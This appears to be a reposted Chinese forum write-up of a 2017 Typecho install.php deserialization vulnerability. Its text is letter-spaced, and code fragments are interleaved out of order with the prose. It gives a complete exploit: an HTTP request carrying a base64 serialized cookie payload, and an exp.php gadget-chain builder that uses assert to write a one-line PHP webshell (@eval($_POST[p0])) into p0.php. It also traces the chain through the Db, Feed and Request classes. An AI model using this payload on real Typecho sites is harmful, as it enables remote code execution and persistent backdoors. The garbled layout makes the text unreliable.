搜索

[20943] 2017-11-14_Typechoinstall.php反序列化导致任意代码执行

文档创建者：s7ckTeam
浏览次数：35
最后更新：2025-01-18
2017-11-14_Typechoinstall.php反序列化导致任意代码执行 T y p e c h o   i n s t a l l . p h p   反 序 列 化 导 致 任 意 代 码 执 行 L e m o n S e c   2 0 1 7 - 1 1 - 1 4 0 x 0 1   P a y l o a d G E T   / 1 / i n s t a l l . p h p ? f i n i s h & u s e r = a d m i n & p a s s w o r d = a d m i n   H T T P / 1 . 1 H o s t :   1 9 2 . 1 6 8 . 1 4 6 . 1 6 0 U s e r - A g e n t :   M o z i l l a / 5 . 0   ( W i n d o w s   N T   1 0 . 0 ;   W i n 6 4 ;   x 6 4 ;   r v : 5 6 . 0 )   G e c k o / 2 0 1 0 0 1 0 1   F i r e f o x / 5 6 . 0 A c c e p t :   t e x t / h t m l , a p p l i c a t i o n / x h t m l + x m l , a p p l i c a t i o n / x m l ; q = 0 . 9 , * / * ; q = 0 . 8 A c c e p t - L a n g u a g e :   z h - C N , z h ; q = 0 . 8 , e n - U S ; q = 0 . 5 , e n ; q = 0 . 3 A c c e p t - E n c o d i n g :   g z i p ,   d e f l a t e R e f e r e r :   h t t p : / / 1 9 2 . 1 6 8 . 1 4 6 . 1 6 0 / 1 / i n s t a l l . p h p ? c o n f i g C o o k i e :   P H P S E S S I D = 3 9 b t 1 k j 2 h 9 u m 8 k t t o b 3 a j b d n j 1 ;   _ _ t y p e c h o _ l a n g = z h _ C N ; _ _ t y p e c h o _ c o n f i g = Y T o y O n t z O j c 6 I m F k Y X B 0 Z X I i O 0 8 6 M T I 6 I l R 5 c G V j a G 9 f R m V l Z C I 6 N D p 7 c z o x O T o i A F R 5 c G V j a G 9 f R m V l Z A B f d H l w Z S I 7 c z o 4 O i J B V E 9 N I D E u M C I 7 c z o y M j o i A F R 5 c G V j a G 9 f R m V l Z A B f Y 2 h h c n N l d C I 7 c z o 1 O i J V V E Y t O C I 7 c z o x O T o i A F R 5 c G V j a G 9 f R m V l Z A B f b G F u Z y I 7 c z o y O i J 6 a C I 7 c z o y M D o i A F R 5 c G V j a G 9 f R m V l Z A B f a X R l b X M i O 2 E 6 M T p 7 a T o w O 2 E 6 M T p 7 c z o 2 O i J h d X R o b 3 I i O 0 8 6 M T U 6 I l R 5 c G V j a G 9 f U m V x d W V z d C I 6 M j p 7 c z o y N D o i A F R 5 c G V j a G 9 f U m V x d W V z d A B f c G F y Y W 1 z I j t h O j E 6 e 3 M 6 M T A 6 I n N j c m V l b k 5 h b W U i O 3 M 6 N T c 6 I m Z p b G V f c H V 0 X 2 N v b n R l b n R z K C d w M C 5 w a H A n L C A n P D 9 w a H A g Q G V 2 Y W w o J F 9 Q T 1 N U W 3 A w X S k 7 P z 4 n K S I 7 f X M 6 M j Q 6 I g B U e X B l Y 2 h v X 1 J l c X V l c 3 Q A X 2 Z p b H R l c i I 7 Y T o x O n t p O j A 7 c z o 2 O i J h c 3 N l c n Q i O 3 1 9 f X 1 9 c z o 2 O i J w c m V m a X g i O 3 M 6 N z o i d H l w Z W N o b y I 7 f Q = = C o n n e c t i o n :   c l o s e U p g r a d e - I n s e c u r e - R e q u e s t s :   1 便 会 在 网 站 根 目 录 下 生 产 一 句 话 ， 密 码 0 x 0 2   反 序 列 化 可 控 点 i n s t a l l . p h p 第 2 3 0 行 获 取 c o o k i e 中 的 值 b a s e 6 4 解 码 ， 然 后 反 序 列 化 。 想 要 执 行 ， 只 需 并 且 存 在 值 。 反 序 列 化 后 2 3 2 行 把 和 p 0 . p h p p 0 _ _ t y p e c h o _ c o n f i g i s s e t ( $ _ G E T [ ' f i n i s h ' ] ) _ _ t y p e c h o _ c o n f i g $ c o n f i g [ ' a d a p t e r ' ] $ c o n f i g [ ' p r e f i x ' ]
传 入 进 行 实 例 化 。 然 后 调 用 的 方 法 ， 调 用 实 例 化 工 厂 函 数 对 类 进 行 实 例 化 。 0 x 0 3   反 序 列 化 触 发 点 全 局 搜 索 和 ： 只 发 现 了 两 处 ， 跟 进 去 并 没 发 现 可 利 用 的 地 方 。 继 续 看 类 构 造 方 法 ， D b . p h p   1 1 4 - 1 3 5 行 发 现 第 1 2 0 行 对 传 入 的 进 行 了 字 符 串 的 拼 接 操 作 。 那 么 如 果 传 入 的 是 个 实 例 化 对 象 ， 就 会 触 发 该 对 象 的 魔 术 方 法 。 全 局 搜 索 ： 发 现 三 处 ， 跟 进 ， 第 一 个 发 现 并 没 有 可 以 直 接 利 用 的 地 方 。 跟 进 类 的 魔 术 方 法 ， Q u e r y . p h p   4 8 8 - 5 1 9 行 ： $ c o n f i g [ ' p r e f i x ' ] T y p e c h o _ D b T y p e c h o _ D b a d d S e r v e r T y p e c h o _ C o n f i g T y p e c h o _ C o n f i g _ _ d e s t r u c t ( ) _ _ w a k e u p ( ) _ _ d e s t r u c t ( ) T y p e c h o _ D b p u b l i c   f u n c t i o n   _ _ c o n s t r u c t ( $ a d a p t e r N a m e ,   $ p r e f i x   =   ' t y p e c h o _ ' ) {         / * *   获 取 适 配 器 名 称   * /         $ t h i s - > _ a d a p t e r N a m e   =   $ a d a p t e r N a m e ;         / * *   数 据 库 适 配 器   * /         $ a d a p t e r N a m e   =   ' T y p e c h o _ D b _ A d a p t e r _ '   .   $ a d a p t e r N a m e ;         i f   ( ! c a l l _ u s e r _ f u n c ( a r r a y ( $ a d a p t e r N a m e ,   ' i s A v a i l a b l e ' ) ) )   {                 t h r o w   n e w   T y p e c h o _ D b _ E x c e p t i o n ( " A d a p t e r   { $ a d a p t e r N a m e }   i s   n o t   a v a i l a b l e " ) ;         }         $ t h i s - > _ p r e f i x   =   $ p r e f i x ;         / * *   初 始 化 内 部 变 量   * /         $ t h i s - > _ p o o l   =   a r r a y ( ) ;         $ t h i s - > _ c o n n e c t e d P o o l   =   a r r a y ( ) ;         $ t h i s - > _ c o n f i g   =   a r r a y ( ) ;         / / 实 例 化 适 配 器 对 象         $ t h i s - > _ a d a p t e r   =   n e w   $ a d a p t e r N a m e ( ) ; } $ a d a p t e r N a m e $ a d a p t e r N a m e _ _ t o S t r i n g ( ) _ _ t o S t r i n g ( ) T y p e c h o _ Q u e r y _ _ t o S t r i n g ( ) p u b l i c   f u n c t i o n   _ _ t o S t r i n g ( ) {         s w i t c h   ( $ t h i s - > _ s q l P r e B u i l d [ ' a c t i o n ' ] )   {                 c a s e   T y p e c h o _ D b : : S E L E C T :                         r e t u r n   $ t h i s - > _ a d a p t e r - > p a r s e S e l e c t ( $ t h i s - > _ s q l P r e B u i l d ) ;                 c a s e   T y p e c h o _ D b : : I N S E R T :                         r e t u r n   ' I N S E R T   I N T O   '                         .   $ t h i s - > _ s q l P r e B u i l d [ ' t a b l e ' ]                         .   ' ( '   .   i m p l o d e ( '   ,   ' ,   a r r a y _ k e y s ( $ t h i s - > _ s q l P r e B u i l d [ ' r o w s ' ] ) )   .   ' ) '                         .   '   V A L U E S   '                         .   ' ( '   .   i m p l o d e ( '   ,   ' ,   a r r a y _ v a l u e s ( $ t h i s - > _ s q l P r e B u i l d [ ' r o w s ' ] ) )   .   ' ) '                         .   $ t h i s - > _ s q l P r e B u i l d [ ' l i m i t ' ] ;                 c a s e   T y p e c h o _ D b : : D E L E T E :
第 4 9 2 行 调 用 方 法 ， 如 果 该 实 例 化 对 象 在 对 象 上 下 文 中 调 用 不 可 访 问 的 方 法 时 触 发 ， 便 会 触 发 魔 术 方 法 。 全 局 搜 索 ： 发 现 几 处 ， 挨 个 跟 进 发 现 类 的 魔 术 方 法 存 在 回 调 函 数 ， P l u g i n . p h p   4 7 9 - 4 9 4 行 ： p u b l i c   f u n c t i o n   _ _ c a l l ( $ c o m p o n e n t ,   $ a r g s ) { 是 调 用 失 败 的 方 法 名 ， 是 调 用 时 的 参 数 。 均 可 控 ， 但 是 根 据 上 文 ， 必 须 存 在 ， 然 后 加 上 我 们 构 造 的 p a y l o a d ， 最 少 是 个 长 度 为 2 的 数 组 ， 但 是 4 8 3 行 又 给 数 组 加 了 一 个 长 度 ， 导 致 长 度 至 少 为 3 ， 那 么 便 无 法 正 常 执 行 。 所 以 此 路 就 不 通 了 。 继 续 跟 进 类 的 魔 术 方 法 ， F e e d . p h p   3 4 0 - 3 6 0 行                         r e t u r n   ' D E L E T E   F R O M   '                         .   $ t h i s - > _ s q l P r e B u i l d [ ' t a b l e ' ]                         .   $ t h i s - > _ s q l P r e B u i l d [ ' w h e r e ' ] ;                 c a s e   T y p e c h o _ D b : : U P D A T E :                         $ c o l u m n s   =   a r r a y ( ) ;                         i f   ( i s s e t ( $ t h i s - > _ s q l P r e B u i l d [ ' r o w s ' ] ) )   {                                 f o r e a c h   ( $ t h i s - > _ s q l P r e B u i l d [ ' r o w s ' ]   a s   $ k e y   = >   $ v a l )   {                                         $ c o l u m n s [ ]   =   " $ k e y   =   $ v a l " ;                                 }                         }                         r e t u r n   ' U P D A T E   '                         .   $ t h i s - > _ s q l P r e B u i l d [ ' t a b l e ' ]                         .   '   S E T   '   .   i m p l o d e ( '   ,   ' ,   $ c o l u m n s )                         .   $ t h i s - > _ s q l P r e B u i l d [ ' w h e r e ' ] ;                 d e f a u l t :                         r e t u r n   N U L L ;         } } $ t h i s - > _ a d a p t e r p a r s e S e l e c t ( ) _ _ c a l l ( ) _ _ c a l l ( ) T y p e c h o _ P l u g i n _ _ c a l l ( )         $ c o m p o n e n t   =   $ t h i s - > _ h a n d l e   .   ' : '   .   $ c o m p o n e n t ;         $ l a s t   =   c o u n t ( $ a r g s ) ;         $ a r g s [ $ l a s t ]   =   $ l a s t   >   0   ?   $ a r g s [ 0 ]   :   f a l s e ;         i f   ( i s s e t ( s e l f : : $ _ p l u g i n s [ ' h a n d l e s ' ] [ $ c o m p o n e n t ] ) )   {                 $ a r g s [ $ l a s t ]   =   N U L L ;                 $ t h i s - > _ s i g n a l   =   t r u e ;                 f o r e a c h   ( s e l f : : $ _ p l u g i n s [ ' h a n d l e s ' ] [ $ c o m p o n e n t ]   a s   $ c a l l b a c k )   {                         $ a r g s [ $ l a s t ]   =   c a l l _ u s e r _ f u n c _ a r r a y ( $ c a l l b a c k ,   $ a r g s ) ;                 }         }         r e t u r n   $ a r g s [ $ l a s t ] ; } $ c o m p o n e n t $ a r g s $ a r g s a r r a y ( ' a c t i o n ' = > ' S E L E C T ' ) $ a r g s c a l l _ u s e r _ f u n c _ a r r a y ( ) T y p e c h o _ F e e d _ _ t o S t r i n g ( ) }   e l s e   i f   ( s e l f : : A T O M 1   = =   $ t h i s - > _ t y p e )   {                         $ r e s u l t   . =   ' < f e e d   x m l n s = " h t t p : / / w w w . w 3 . o r g / 2 0 0 5 / A t o m " x m l n s : t h r = " h t t p : / / p u r l . o r g / s y n d i c a t i o n / t h r e a d / 1 . 0 " x m l : l a n g = " '   .   $ t h i s - > _ l a n g   .   ' " x m l : b a s e = " '   .   $ t h i s - > _ b a s e U r l   .   ' " > '   .   s e l f : : E O L ;                         $ c o n t e n t   =   ' ' ;                         $ l a s t U p d a t e   =   0 ;                         f o r e a c h   ( $ t h i s - > _ i t e m s   a s   $ i t e m )   {                                 $ c o n t e n t   . =   ' < e n t r y > '   .   s e l f : : E O L ;                                 $ c o n t e n t   . =   ' < t i t l e   t y p e = " h t m l " > <   C D A T A [ '   .   $ i t e m [ ' t i t l e ' ]   .   ' ] ] > < / t i t l e > '   .   s e l f : : E O L ;                                 $ c o n t e n t   . =   ' < l i n k   r e l = " a l t e r n a t e "   t y p e = " t e x t / h t m l "   h r e f = " '   .   $ i t e m [ ' l i n k ' ]   .   ' "   / > '   .   s e l f : : E O L ;                                 $ c o n t e n t   . =   ' < i d > '   .   $ i t e m [ ' l i n k ' ]   .   ' < / i d > '   .   s e l f : : E O L ;
第 3 5 8 行 调 用 属 性 ， 如 果 该 实 例 化 对 象 用 于 从 不 可 访 问 的 属 性 读 取 数 据 ， 便 会 触 发 魔 术 方 法 。 全 局 搜 索 ： 发 现 了 几 处 ， 最 终 确 定 类 存 在 可 利 用 的 地 方 魔 术 方 法 调 用 方 法 ， R e q u e s t . p h p   2 9 3 - 3 0 9 行 ： 3 0 8 行 调 用 方 法 ， 传 入 的 是 的 值 ， 就 是 。 跟 进 ， R e q u e s t . p h p   1 5 9 - 1 7 1 行 ： 第 1 6 3 行 和 1 6 4 行 均 可 造 成 任 意 代 码 执 行 。 0 x 0 4   构 造 P a y l o a d P a y l o a d ： e x p . p h p                                 $ c o n t e n t   . =   ' < u p d a t e d > '   .   $ t h i s - > d a t e F o r m a t ( $ i t e m [ ' d a t e ' ] )   .   ' < / u p d a t e d > '   .   s e l f : : E O L ;                                 $ c o n t e n t   . =   ' < p u b l i s h e d > '   .   $ t h i s - > d a t e F o r m a t ( $ i t e m [ ' d a t e ' ] )   .   ' < / p u b l i s h e d > '   .   s e l f : : E O L ;                                 $ c o n t e n t   . =   ' < a u t h o r >         < n a m e > '   .   $ i t e m [ ' a u t h o r ' ] - > s c r e e n N a m e   .   ' < / n a m e >         < u r i > '   .   $ i t e m [ ' a u t h o r ' ] - > u r l   .   ' < / u r i > < / a u t h o r > '   .   s e l f : : E O L ; $ i t e m [ ' a u t h o r ' ] s c r e e n N a m e _ _ g e t ( ) _ _ g e t ( ) T y p e c h o _ R e q u e s t _ _ g e t ( ) g e t ( ) p u b l i c   f u n c t i o n   g e t ( $ k e y ,   $ d e f a u l t   =   N U L L ) {         s w i t c h   ( t r u e )   {                 c a s e   i s s e t ( $ t h i s - > _ p a r a m s [ $ k e y ] ) :                         $ v a l u e   =   $ t h i s - > _ p a r a m s [ $ k e y ] ;                         b r e a k ;                 c a s e   i s s e t ( s e l f : : $ _ h t t p P a r a m s [ $ k e y ] ) :                         $ v a l u e   =   s e l f : : $ _ h t t p P a r a m s [ $ k e y ] ;                         b r e a k ;                 d e f a u l t :                         $ v a l u e   =   $ d e f a u l t ;                         b r e a k ;         }         $ v a l u e   =   ! i s _ a r r a y ( $ v a l u e )   & &   s t r l e n ( $ v a l u e )   >   0   ?   $ v a l u e   :   $ d e f a u l t ;         r e t u r n   $ t h i s - > _ a p p l y F i l t e r ( $ v a l u e ) ; } _ a p p l y F i l t e r ( ) $ v a l u e $ t h i s - > _ p a r a m s [ $ k e y ] $ k e y s c r e e n N a m e _ a p p l y F i l t e r ( ) p r i v a t e   f u n c t i o n   _ a p p l y F i l t e r ( $ v a l u e ) {         i f   ( $ t h i s - > _ f i l t e r )   {                 f o r e a c h   ( $ t h i s - > _ f i l t e r   a s   $ f i l t e r )   {                         $ v a l u e   =   i s _ a r r a y ( $ v a l u e )   ?   a r r a y _ m a p ( $ f i l t e r ,   $ v a l u e )   :                         c a l l _ u s e r _ f u n c ( $ f i l t e r ,   $ v a l u e ) ;                 }                 $ t h i s - > _ f i l t e r   =   a r r a y ( ) ;         }         r e t u r n   $ v a l u e ; } a r r a y _ m a p c a l l _ u s e r _ f u n c < ? p h p c l a s s   T y p e c h o _ F e e d {         p r i v a t e   $ _ t y p e   =   ' A T O M   1 . 0 ' ;         p r i v a t e   $ _ c h a r s e t   =   ' U T F - 8 ' ;         p r i v a t e   $ _ l a n g   =   ' z h ' ;         p r i v a t e   $ _ i t e m s   =   a r r a y ( ) ;         p u b l i c   f u n c t i o n   a d d I t e m ( a r r a y   $ i t e m ) {
代 码 审 计 部 分 来 自 ： h t t p s : / / w w w . t 0 0 l s . n e t / a r t i c l e s - 4 2 3 5 5 . h t m l                 $ t h i s - > _ i t e m s [ ]   =   $ i t e m ;         } } c l a s s   T y p e c h o _ R e q u e s t {         p r i v a t e   $ _ p a r a m s   =   a r r a y ( ' s c r e e n N a m e ' = > ' f i l e _ p u t _ c o n t e n t s ( ' p 0 . p h p ' ,   ' < ? p h p   @ e v a l ( $ _ P O S T [ p 0 ] ) ; ? > ' ) ' ) ;         p r i v a t e   $ _ f i l t e r   =   a r r a y ( ' a s s e r t ' ) ; } $ p a y l o a d 1   =   n e w   T y p e c h o _ F e e d ( ) ; $ p a y l o a d 2   =   n e w   T y p e c h o _ R e q u e s t ( ) ; $ p a y l o a d 1 - > a d d I t e m ( a r r a y ( ' a u t h o r '   = >   $ p a y l o a d 2 ) ) ; $ e x p   =   a r r a y ( ' a d a p t e r '   = >   $ p a y l o a d 1 ,   ' p r e f i x '   = >   ' t y p e c h o ' ) ; e c h o   b a s e 6 4 _ e n c o d e ( s e r i a l i z e ( $ e x p ) ) ;
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理